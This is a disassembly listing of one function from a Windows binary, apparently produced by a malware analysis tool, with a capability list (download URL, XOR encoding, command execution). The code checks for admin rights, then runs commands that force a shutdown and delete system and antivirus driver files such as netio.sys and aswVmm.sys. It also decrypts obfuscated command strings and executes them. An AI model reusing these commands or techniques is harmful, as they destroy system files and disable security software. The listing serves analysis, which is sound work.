Function at 0x140020c50
Capabilities:
Create process on windows
Create thread
Download url
Encode data using xor
Execute command
Get token membership
Receive data
Set console window title
Terminate process

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x268]
sub rsp, 0x328
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
xor r14d, r14d
mov rcx, qword [0x1400d6708]
call fcn.140018ff0
mov rcx, qword [0x1400d6708]
call fcn.140019030
lea rcx, str.color_C
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x140083aa8]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov dword [rbp + 0x270], r14d
mov ebx, r14d
mov qword [rbp + 0x78], r14
mov dword [rbp + 0x70], ebx
mov word [rbp + 0x74], 0x500
lea rax, [rbp + 0x78]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r14d
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov r9d, 0x220
lea r8d, [r14 + 0x20]
mov dl, 2
lea rcx, [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140020d20
lea r8, [rbp + 0x270]
mov rdx, qword [rbp + 0x78]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140020d28
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x140020d3b
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov qword [rbp + 0x78], r14
test ebx, ebx
je 0x140020d59
mov dword [rbp + 0x278], ebx
lea rdx, [0x14009aa98]
lea rcx, [rbp + 0x278]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
cmp dword [rbp + 0x270], r14d
jne 0x140020d99
lea rdx, [0x140083ab0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [0x14001f0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.MKDIR_C:WindowsSystem32config_systemm_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400205c0
lea rdx, [0x140083aa8]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
lea rcx, [0x140090eeb]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.140020380
call fcn.1400275d0
test al, al
je 0x140020e1e
lea rcx, str.shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._y_del_C:_Windows_System32_drivers_vhda64v.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._y_del_C:_Windows_System32_drivers_netio.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str._y_del_C:_Windows_System32_drivers_aswVmm.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400d67b0]
call fcn.140006e60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [0x140083aa8]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
mov ecx, 8
call fcn.14007ceb4
test rax, rax
je 0x140020e48
lea rcx, [0x14002af10]
mov qword [rax], rcx
jmp 0x140020e4b
mov rax, r14
mov qword [rbp + 0x270], rax
lea rcx, [rbp + 0x188]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x14001edc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x180], rax
test rax, rax
je 0x140024f33
cmp dword [rbp + 0x188], 0
je 0x140024f28
movaps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140024f28
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x180], xmm0
lea ecx, [rax + 8]
call fcn.14007ceb4
test rax, rax
je 0x140020ed5
lea rcx, [0x140020240]
mov qword [rax], rcx
jmp 0x140020ed8
mov rax, r14
mov qword [rbp + 0x270], rax
lea rcx, [rbp + 0x178]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x14001edc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x170], rax
test rax, rax
je 0x140024f16
cmp dword [rbp + 0x178], 0
je 0x140024f0b
movaps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140024f0b
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x170], xmm0
movups xmm0, xmmword [0x140083780]
movups xmmword [rsp + 0x78], xmm0
movsd xmm0, qword [0x140083790]
movsd qword [rbp - 0x78], xmm0
movzx eax, word [0x140083798]
mov word [rbp - 0x70], ax
mov ebx, 1
lea r13d, [rbx + 0x1e]
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x140083799], 0
je 0x14002110e
mov r8d, r14d
cmp r12d, 2
jl 0x1400210d3
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140020fd0
cmp r8d, 0x1a
jge 0x14002110e
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400210e0
lea rcx, [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x78]
call fcn.140009bb0
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], Ordinal_30
mov qword [rbp - 0x70], r13
movups xmm0, xmmword [0x140083ba8]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140083bb8]
movsd qword [rax + 0x10], xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_46]
mov byte [rax + 0x18], cl
mov byte [rax + 0x19], 0
mov r9b, 0x2a
lea r8, [rsp + 0x78]
mov edx, 0x63
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::clog]
call fcn.1400209d0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.color_A
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x140083bd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [0x14001f0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400837a0]
movups xmmword [rsp + 0x78], xmm0
movsd xmm0, qword [0x1400837b0]
movsd qword [rbp - 0x78], xmm0
movzx eax, word [0x1400837b8]
mov word [rbp - 0x70], ax
cmp byte [0x1400837b9], 0
je 0x14002138e
mov r8d, r14d
cmp r12d, 2
jl 0x140021353
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140021250
cmp r8d, 0x1a
jge 0x14002138e
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140021360
lea rcx, [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400d67b0]
call fcn.140003670
cmp byte [0x1400d69e8], 0
jne 0x140021428
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x270]
call fcn.1400201c0
movzx edx, byte [rax + 0xa]
test dl, dl
je 0x1400213fa
xor byte [rax], 0x37
xor byte [rax + 1], 0x38
xor byte [rax + 2], 0x39
xor byte [rax + 3], 0x3a
xor byte [rax + 4], 0x3b
xor byte [rax + 5], 0x3c
xor byte [rax + 6], 0x3d
xor byte [rax + 7], 0x3e
xor byte [rax + 8], 0x3f
xor byte [rax + 9], 0x40
xor dl, 0x41
mov byte [rax + 0xa], dl
mov rdx, rax
mov rcx, r8
call fcn.14001e850
mov rcx, rax
lea rdx, [0x1400d69f0]
call fcn.14001e5f0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.color_D
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400d67b0]
call fcn.140007540
movups xmm0, xmmword [0x1400837d0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400837e0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400837f0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x140083800]
movups xmmword [rbp - 0x30], xmm1
movsd xmm0, qword [0x140083810]
movsd qword [rbp - 0x20], xmm0
mov eax, dword [0x140083818]
mov dword [rbp - 0x18], eax
movzx eax, word [0x14008381c]
mov word [rbp - 0x14], ax
mov ecx, r14d
cmp r12d, 2
jl 0x1400215d1
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rbp - 0x5c]
mov r8d, dword [rbp - 0x10]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x48
jl 0x1400214d1
cmp ecx, 0x4e
jge 0x14002160a
movsxd rax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x4e
jl 0x1400215e0
lea rdx, [rbp - 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
lea r8, str.WARNING____
lea rdx, [0x140083c20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [0x140083c80]
movdqu xmmword [rbp + 0x1a0], xmm1
mov byte [rbp + 0x190], 0
movups xmmword [rbp + 0x1d0], xmm0
movdqu xmmword [rbp + 0x1e0], xmm1
mov byte [rbp + 0x1d0], 0
movups xmmword [rbp + 0x1b0], xmm0
movdqu xmmword [rbp + 0x1c0], xmm1
mov byte [rbp + 0x1b0], 0
lea rdx, [rbp + 0x280]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov edx, dword [rbp + 0x280]
sub edx, 1
je 0x1400225e2
sub edx, 1
je 0x140021e3d
cmp edx, 1
je 0x14002189d
lea rcx, [0x140090eeb]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.140020380
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x270]
call fcn.140020170
mov r9, rax
cmp byte [rax + 0x1d], 0
je 0x14002187e
cmp r12d, 2
jl 0x140021845
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x140021740
cmp eax, 0x1e
jge 0x14002187e
movsxd r8, r14d
add r8, r9
nop dword [rax + rax]
mov eax, 0x94f2095
imul r14d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, r14b
xor byte [r8], dl
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x1e
jl 0x140021850
mov rdx, r9
mov rcx, r10
call fcn.14001e850
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [0x1400838d8]
movups xmmword [rsp + 0x78], xmm0
movsd xmm0, qword [0x1400838e8]
movsd qword [rbp - 0x78], xmm0
movzx eax, word [0x1400838f0]
mov word [rbp - 0x70], ax
cmp byte [0x1400838f1], 0
je 0x140021a4e
mov r8d, r14d
cmp r12d, 2
jl 0x140021a14
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140021911
cmp r8d, 0x1a
jge 0x140021a4e
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140021a20
lea rcx, [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140090eeb]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.140020380
movups xmm0, xmmword [0x1400838f8]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x140083908]
mov word [rsp + 0x70], ax
movzx eax, byte [0x14008390a]
mov byte [rsp + 0x72], al
mov ecx, r14d
cmp r12d, 2
jl 0x140021bd2
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rsp + 0x64]
mov r8d, dword [rbp - 0x10]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140021ad2
cmp ecx, 0x13
jge 0x140021c0a
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x140021be0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [rbp + 0x190]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001e3a0
movups xmm0, xmmword [0x140083910]
movups xmmword [rsp + 0x60], xmm0
movzx eax, byte [0x140083920]
mov byte [rsp + 0x70], al
mov ecx, r14d
cmp r12d, 2
jl 0x140021d90
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rsp + 0x64]
mov r8d, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
